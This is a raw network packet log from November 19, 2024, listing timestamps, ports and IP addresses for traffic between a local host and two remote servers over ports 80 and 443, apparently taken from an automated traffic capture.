Nov 19, 2024 20:05:50.857275963 CET	52550	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:50.857836962 CET	52550	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:50.857844114 CET	443	52550	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:50.857855082 CET	52550	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:50.857860088 CET	443	52550	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:50.866173983 CET	443	52551	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:50.866600990 CET	443	52551	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:50.866789103 CET	443	52548	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:50.866853952 CET	52551	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:50.867284060 CET	443	52548	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:50.867485046 CET	52548	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:50.870640993 CET	52551	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:50.870646954 CET	443	52551	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:50.875659943 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.875696898 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.875713110 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.875766039 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.875777960 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.875788927 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.875798941 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.875798941 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.875798941 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.875802040 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.875873089 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.875874043 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.875883102 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.875895977 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.875907898 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.875920057 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.875932932 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.876063108 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.876075029 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.876086950 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.876097918 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.876110077 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.876183987 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.876194954 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.876226902 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.876230001 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.876230001 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.876230001 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.876230001 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.876230001 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.876230001 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.876239061 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.876252890 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.876264095 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.876271009 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.876300097 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.876303911 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.876308918 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.876315117 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.876321077 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.876336098 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.876348019 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.876348019 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.876409054 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.876435995 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.876509905 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.876509905 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.876590967 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.876605034 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.876616955 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.876625061 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.876645088 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.876665115 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.876677036 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.876692057 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.876697063 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.876720905 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.876720905 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.876720905 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.876720905 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.876720905 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.876791954 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.876804113 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.876893044 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.876905918 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.876918077 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.876929045 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.876943111 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.877068043 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.877089024 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.877090931 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.877090931 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.877090931 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.877090931 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.877101898 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.877114058 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.877125025 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.877135992 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.877149105 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.877161026 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.877207994 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.877207994 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.877208948 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.877208948 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.877208948 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.877252102 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.877264977 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.877275944 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.877319098 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.877331018 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.877434015 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.877466917 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.877479076 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.877521992 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.877521992 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.877521992 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.877521992 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.877521992 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.877587080 CET	443	52549	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:50.877613068 CET	443	52549	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:50.877651930 CET	52549	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:50.877670050 CET	443	52549	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:50.878189087 CET	443	52549	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:50.878228903 CET	52549	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:50.880635023 CET	52548	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:50.880655050 CET	443	52548	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:50.888668060 CET	52549	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:50.888680935 CET	443	52549	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:50.904723883 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.904738903 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.904751062 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.904807091 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.904818058 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.904829979 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.904841900 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.904876947 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.905041933 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.905064106 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.905075073 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.905185938 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.905198097 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.905209064 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.905225039 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.905251026 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.905256987 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.905256987 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.905256987 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.905256987 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.905388117 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.905399084 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.905411005 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.905422926 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.905441999 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.905452967 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.905464888 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.905499935 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.905500889 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.905500889 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.905500889 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.905500889 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.905582905 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.905595064 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.905601978 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.905674934 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.905687094 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.905698061 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.905709982 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.905762911 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.905762911 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.905762911 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.905762911 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.905791998 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.905802011 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.905812979 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.905827999 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.905839920 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.905904055 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.905915022 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.905925989 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.906007051 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.906007051 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.906008005 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.906008005 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.906008005 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.906021118 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.906033039 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.906043053 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.906054974 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.906066895 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.906066895 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.906066895 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.906126976 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.906157017 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.906173944 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.906186104 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.906196117 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.906208038 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.906220913 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.906230927 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.906232119 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.906246901 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.906259060 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.906263113 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.906263113 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.906263113 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.906263113 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.906282902 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.906322002 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.906347036 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.906358957 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.906371117 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.906404972 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.906470060 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.906480074 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.906491041 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.906503916 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.906512022 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.906512022 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.906512022 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.906512022 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.906518936 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.906572104 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.906583071 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.906593084 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.907116890 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.907116890 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.907116890 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.907116890 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.950884104 CET	64157	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:50.950937033 CET	443	64157	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:50.951019049 CET	64157	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:50.951740980 CET	64157	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:50.951756001 CET	443	64157	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:50.952256918 CET	64158	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:50.952297926 CET	443	64158	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:50.952374935 CET	64158	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:50.952604055 CET	64158	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:50.952617884 CET	443	64158	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:50.962738037 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.962754011 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.962766886 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.962789059 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.962800026 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.962811947 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.962826014 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.962886095 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.962893963 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.962893963 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.962893963 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.962898016 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.962907076 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.962953091 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.962960005 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.962968111 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.963004112 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.963013887 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.963017941 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.963027000 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.963043928 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.963057041 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.963068008 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.963078976 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.963079929 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.963079929 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.963079929 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.963092089 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.963129997 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.963130951 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.963139057 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.963160038 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.963171959 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.963184118 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.963228941 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.963228941 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.963228941 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.963241100 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.963243961 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.963300943 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.963335037 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.963346004 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.963366032 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.963377953 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.963388920 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.963407040 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.963464022 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.963464022 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.963464022 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.963464022 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.963608027 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.963664055 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.963675976 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.963687897 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.963701963 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.963713884 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.963762045 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.963762045 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.963762045 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.963762045 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.963799000 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.963810921 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.963823080 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.963841915 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.963875055 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.963886976 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.963901997 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.963913918 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.963926077 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.963937998 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.963977098 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.963989019 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.963994980 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.963994980 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.963994980 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.964001894 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.964016914 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.964031935 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.964050055 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.964088917 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.964135885 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.964148998 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.964162111 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.964171886 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.964179039 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.964184046 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.964198112 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.964202881 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.964202881 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.964266062 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.964286089 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.964298010 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.964318037 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.964329958 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.964340925 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.964354038 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.964411020 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.964411020 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.964411020 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.964411020 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.991539001 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.991558075 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.991579056 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.991590977 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.991602898 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.991616964 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.991631031 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.991664886 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.991899014 CET	80	52448	185.215.113.206	192.168.2.7
